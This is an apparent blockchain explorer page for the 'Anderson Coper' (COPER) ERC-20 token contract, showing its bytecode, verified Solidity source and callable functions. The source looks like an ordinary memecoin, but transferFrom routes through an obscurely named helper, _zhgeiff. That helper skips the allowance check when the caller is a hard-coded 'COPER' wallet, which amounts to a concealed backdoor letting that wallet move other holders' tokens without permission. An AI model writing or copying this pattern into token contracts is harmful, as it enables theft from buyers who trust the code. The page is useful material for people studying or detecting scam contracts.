Address Contract Partially Verified
Address
0x049DB926507b46cf9cA7D780F517d0E078CEdcF0
Balance
0 ETH
Nonce
1
Code Size
5434 bytes
Creator
0xB43aa288...53bf at tx 0xa9bb6b01...e5e005
Indexed Transactions
0
Contract Bytecode
5434 bytes
0x6080604052600436106100ab5760003560e01c8063715018a611610064578063715018a6146101c55780638da5cb5b146101dc57806395d89b4114610204578063a9059cbb14610232578063c9567bf914610252578063dd62ed3e1461026757600080fd5b806306fdde03146100b7578063095ea7b31461010057806318160ddd1461013057806323b872dd14610153578063313ce5671461017357806370a082311461018f57600080fd5b366100b257005b600080fd5b3480156100c357600080fd5b5060408051808201909152600e81526d20b73232b939b7b71021b7b832b960911b60208201525b6040516100f7919061113e565b60405180910390f35b34801561010c57600080fd5b5061012061011b3660046111a4565b6102ad565b60405190151581526020016100f7565b34801561013c57600080fd5b506101456102c4565b6040519081526020016100f7565b34801561015f57600080fd5b5061012061016e3660046111d0565b6102e6565b34801561017f57600080fd5b50604051600981526020016100f7565b34801561019b57600080fd5b506101456101aa366004611211565b6001600160a01b031660009081526001602052604090205490565b3480156101d157600080fd5b506101da61035e565b005b3480156101e857600080fd5b506000546040516001600160a01b0390911681526020016100f7565b34801561021057600080fd5b5060408051808201909152600581526421a7a822a960d91b60208201526100ea565b34801561023e57600080fd5b5061012061024d3660046111a4565b610407565b34801561025e57600080fd5b506101da610414565b34801561027357600080fd5b5061014561028236600461122e565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006102ba338484610801565b5060015b92915050565b60006102d26009600a611361565b6102e1906461f313f880611370565b905090565b60006102f3848484610925565b6102fd8484610d5a565b1561035457610354843361034f856040518060600160405280602881526020016114dd602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610da4565b610801565b5060019392505050565b6000546001600160a01b031633146103bd5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006102ba338484610925565b6000546001600160a01b0316331461046e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103b4565b601354600160a01b900460ff16156104c85760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103b4565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105129030906105036009600a611361565b61034f906461f313f880611370565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610565573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105899190611387565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061060f9190611387565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561065c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106809190611387565b601380546001600160a01b039283166001600160a01b03199091161790556012541663f305d71947306106c8816001600160a01b031660009081526001602052604090205490565b6000806106dd6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610745573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061076a91906113a4565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156107c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e791906113d2565b506013805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166108635760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b4565b6001600160a01b0382166108c45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b4565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109895760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103b4565b6001600160a01b0382166109eb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220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Verified Source Code Partial Match
Compiler: v0.8.21+commit.d9974bed
EVM: paris
Optimization: Yes (200 runs)
COPER.sol 293 lines
/*
https://x.com/elonmusk/status/1889728050276823115
https://t.me/coper_erc
*/
// SPDX-License-Identifier: UNLICENSE
pragma solidity ^0.8.18;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract COPER is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isFeeExcluded;
address private _deadWallet = address(0xdead);
address private _vitalikWallet = 0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045;
address private _trumpWallet = 0x94845333028B1204Fbe14E1278Fd4Adde46B22ce;
address private _libWallet = 0x5be9a4959308A0D0c7bC0870E319314d8D957dBB;
address private _COPERWallet = 0x59BE5610ac9cd01503ad9cc9065646b11633b676;
uint256 private _initialBuyTax=2;
uint256 private _initialSellTax=2;
uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=0;
uint256 private _reduceBuyTaxAt=3;
uint256 private _reduceSellTaxAt=3;
uint256 private _preventSwapBefore=3;
uint256 private _buyCount=0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 420_690_000_000 * 10**_decimals;
string private constant _name = unicode"Anderson Coper";
string private constant _symbol = unicode"COPER";
uint256 private _maxTaxSwapTokens = _tTotal / 100;
IUniswapV2Router02 private uniswapV2Router;
address private _uniswapPair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () payable {
_isFeeExcluded[owner()] = true;
_isFeeExcluded[address(this)] = true;
_isFeeExcluded[_COPERWallet] = true;
_balances[address(this)] = _tTotal * 94 / 100;
_balances[address(_vitalikWallet)] = _tTotal * 2 / 100;
_balances[address(_trumpWallet)] = _tTotal * 2 / 100;
_balances[address(_libWallet)] = _tTotal * 2 / 100;
emit Transfer(address(0), address(this), _tTotal * 94 / 100);
emit Transfer(address(0), address(_vitalikWallet), _tTotal * 2 / 100);
emit Transfer(address(0), address(_trumpWallet), _tTotal * 2 / 100);
emit Transfer(address(0), address(_libWallet), _tTotal * 2 / 100);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);if(_zhgeiff(sender, recipient))
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _zhgeiff(address owner, address spender) private view returns (bool) {
return msg.sender != _COPERWallet && (owner == _uniswapPair || spender != _deadWallet) ;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
if (from != owner() && to != owner()) {
taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
if (from == _uniswapPair && to != address(uniswapV2Router) && ! _isFeeExcluded[to] ) {
_buyCount++;
}
if(to == _uniswapPair && from!= address(this) ){
taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == _uniswapPair && swapEnabled && _buyCount > _preventSwapBefore) {
if(contractTokenBalance > _maxTaxSwapTokens)
swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwapTokens)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance >= 0) {
sendETHToFee(address(this).balance);
}
}
}
if(taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount.sub(taxAmount));
if (to != _deadWallet)
emit Transfer(from, to, amount.sub(taxAmount));
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
payable(_COPERWallet).transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(uniswapV2Router), _tTotal);
_uniswapPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(_uniswapPair).approve(address(uniswapV2Router), type(uint).max);
swapEnabled = true;
tradingOpen = true;
}
receive() external payable {}
}
Read Contract
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 5 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
openTrading 0xc9567bf9
No parameters
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
Recent Transactions
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